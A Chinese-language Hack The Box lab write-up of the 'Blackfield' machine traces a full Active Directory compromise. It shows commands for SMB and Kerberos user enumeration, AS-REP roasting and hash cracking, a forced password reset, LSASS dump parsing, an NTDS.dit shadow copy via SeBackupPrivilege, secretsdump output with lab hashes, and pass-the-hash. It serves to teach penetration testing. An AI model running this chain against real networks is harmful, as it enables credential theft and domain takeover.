0x00 前言
本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第四篇,靶机名字为Blackfield。
0x01 信息搜集
首先我们使用nmap来进行端口与服务的发现
Nmap scan report for 10.10.10.192
Host is up (0.20s latency).
Not shown: 65526 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-11 15:23:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
49676/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/11%Time=634527EB%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m55s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-10-11T15:24:14
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 403.68 seconds
DNS枚举
我们看到53端口开放了DNS服务,我们尝试进行Axfr请求,但是失败了。
dig axfr blackfield.local@10.10.10.192
Kerberos枚举
我们看到88端口开放了kerberos服务,我们尝试使用kerbrute配合常用的用户名字典进行用户枚举,但是结果中也没有什么有用的信息。
kerbrute_linux_amd64 userenum --dc 10.10.10.192 -d blackfield.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt
SMB枚举
我们看到445端口开放了kerberos服务,接下来我们尝试对SMB服务进行枚举和信息搜集
Crackmapexec是一个后渗透的利用工具,可帮助自动执行一些任务,例如密码喷洒、枚举共享、验证本地管理员访问权限、在目标机器上执行命令等等。我们也可以使用smbmap来枚举目标机器上的SMB共享。默认情况下,如果我们在未指定任何用户名的情况下运行它,它将尝试使用NULL会话进行连接,并且我们不会得到任何返回,因为在现代版本的WindowsServer上默认情况下通常不会启用此功能。但是,如果您给它一个无效的用户名,而不指定密码,它将使用访客会话连接到机器。在这种情况下,访客会话会列出机器上的共享。
crackmapexec smb 10.10.10.192 -u "" -p "" --shares
smbmap -u guess -H 10.10.10.192 #随便写一个用户名,我们就会得到一个游客session的会话
如上图所示,我们可以看到两个非默认共享:forensic和profiles$,前者暂时无法从我们的访客会话中访问。要检查profiles$共享中的文件,我们可以使用smbclient,我们可以指定一个无效的用户名和我们要访问的目录。我们可以看到该共享包含一堆目录,这些目录看起来像是域控制器上的用户列表。
smbclient -U guest //10.10.10.192/profiles\$
那我们现在使用下面这条命令,对输出的结果进行一些处理,把这些看起来像用户名的字符串都存到本地的users.txt文件中
smbclient -U guest%guest //10.10.10.192/profiles\$ -c ls | awk '{print $1}'|sort|uniq >users.txt
awk'{print $1}' 将一行中以空格为分割符的第一个字段打印出来
sort 排序
uniq 删除文件中的重复行
现在我们有了一个潜在用户名列表,我们需要检查一下列表中的那些用户是真实存在的。我们可以通过使用kerbrute来枚举用户名,Kerbrute会发送没有预认证的TGT请求。如果KDC以PRINCIPAL UNKNOWN错误响应,则用户名不存在。但如果KDC提示进行预身份验证,我们就知道用户名存在。这不会导致任何登录失败,也不会锁定任何帐户。
kerbrute_linux_amd64 userenum --dc 10.10.10.192 -d blackfield.local /root/HTB/blackfield/users.txt
0x02 AS-REP Roasting
如上图所示,我们获得了三个用户名,我们把三个用户名存到vaildname.txt文件中,然后我们接着来尝试枚举没有设置预认证的用户
GetNPUsers.py -no-pass -dc-ip 10.10.10.161 blackfield.local/ -usersfile vaildname.txt
如上图,我们发现support没有设置预认证,我们拿到了其AS-REP的票据,我们可以尝试进行AS-REP Roasting攻击,把获取到的hash保存下来,进行离线破解,创建一个文件名为supporthash的文件,把获取到的hash复制进去,然后使用hashcat进行离线破解
hashcat -m 18200 supporthash /root/rockyou.txt --force
support:#00^BlackKnight
如上图所示,我们成功得到了support用户的明文密码,接下来,我们使用crackmapexec查找可能可用的其他共享。
crackmapexec smb 10.10.10.192 -u "support" -p "#00^BlackKnight" --shares
这里我就不放图了,通过结果我们可以得知我们得到的密码是有效的,但是相比之前我们得到的共享目录而言,我们没有获得任何额外的访问权限。
0x03 Python版Bloodhound-信息搜集
我们使用之前获得的用户和密码,通过bloodhound进行信息搜集
python bloodhound.py -c all -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192
执行完上面这条命令后,我们会在当前目录下,得到四个json文件的结果,我们导入bloodhound分析
通过上图可以看到,support用户有权修改audit2020用户的密码,
0x04 ForceChangePassword权限滥用实现横向移动
接下来我们尝试修改audit2020用户的密码
rpcclient -U support //10.10.10.192
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234'
如果我使用与密码策略不匹配的内容进行重置,它会返回
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234#'
更改完密码,我们现在可以验证一下
crackmapexec smb 10.10.10.192 -u audit2020 -p 'ncxw1234#'
接下来我们尝试通过audit2020来发现更多的smb共享目录
smbmap -H 10.10.10.192 -u audit2020 -p 'ncxw1234#'
我们观察到,相比于之前的那个用户,我们获得了目录forensic的访问权限,我们访问一下看看
smbclient -U audit2020%'ncxw1234#' //10.10.10.192/forensic
我们通过查看domain_admins.txt文件发现了疑似admin用户的密码
然后我们发现了一个有趣的文件lsass.zip,该文件可能是对LSASS进程进行了内存捕获的结果,LSASS是Windows中处理身份验证和安全策略的系统服务。其内存空间中保存着各种身份验证的信息。我们将该文件下载并解压。
0x05 利用Lsass内存捕获文件提取用户hash
pypykatz lsa minidump lsass.DMP
我们将使用pypykatz工具(Pypykatz是Mimikatz的Python版)从内存转储中尝试提取用户hash。
我们可以看到我们获取到了svc_backup用户的hash,
0x06 利用SeBackupPrivilege权限进行NTDS.dt卷影拷贝实现权限提升
攻击的步骤大概分三步
- 获取文件副本,`NTDS.dit`即存储 Active Directory 用户凭据的数据库。
- 接下来,我们将获取 SYSTEM hive 文件,其中包含解密 NTDS.dit 所必需的系统启动密钥
- 使用 Impacket 的 secretsdump 脚本从 NTDS.dit 中提取域中所有用户的 NTLM 哈希
接着我们尝试使用evil-winrm进行远程登录
evil-winrm -10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
通过我们之前导入的bloodhound的分析结果,我们得知该用户属于backup_operators组的成员
因此该用户也很有可能是启用SEBackupPrivilege 权限的用户。我们执行如下命令,看一下其是否有该权限
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
此时我们知道了我们拥有SEBackupPrivilege 权限,所以我们可以通过使用签名的二进制文件创建 NTDS.dit 的卷影副本来完成diskshadow 首先,创建一个名为 script.txt 的文本文件,其中包含以下内容:
{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% w:
end backup
}
然后执行diskshadow
并使用脚本文件作为其输入,接着我们可以使用这个repo提供的两个dll文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本
*Evil-WinRM* PS C:\Users\svc_backup\music>diskshadow /s script.txt
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeCmdLets.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeUtils.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\music\ntds.dit -Overwrite
*Evil-WinRM* PS C:\Users\svc_backup\music> reg save HKLM\SYSTEM c:\users\svc_backup\music\system.hive
*Evil-WinRM* PS C:\Users\svc_backup\music>download ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\music>download system.hive
我现在可以使用Evil-WinRM’s
下载功能下载 NTDS.dit 和 system.hive 文件。然后,使用Impacket’s
secretsdump.py 解析 NTDS.dit:
secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out
cat secretsdump.out
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:4c67bfbc7834b2f39fae7138f717dcbd:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
[..SNIP..]
0x07 使用wmiexec进行PTH
通过上面secretsdump分析的结果,我们可以看到管理员的hash ,那么现在我们可以通过wmiexec.py通过hash来登录到管理员账户
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192
0x08 总结
Blackfield是一个困难的Windows靶机,我们从开放的SMB共享中获取了潜在用户名列表,然后又使用kerbrute验证该列表,发现了support等三个用户,然后使用AS-REProasting技术查找并破解了support帐户的哈希值。获得support用户后,我们使用Bloodhound发现我们可以更改audit2020帐户的密码,然后我们通过audit2020账号访问了以前锁定的SMB共享,发现了LSASS转储文件并提取到了svc_backup用户的hash。结合之前我们通过bloodhound分析的结果,我们发现该用户具有SEBackupPrivilege 权限,然后我们通过滥用备份操作员的角色下载了NTDS.dt文件的副本并从中提取到了管理员的NT哈希,最后通过wmiexec.py进行PTH拿到了管理员shell。
0x09 参考资料
https://room362.com/post/2017/reset-ad-user-password-with-linux/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN
https://github.com/giuliano108/SeBackupPrivilege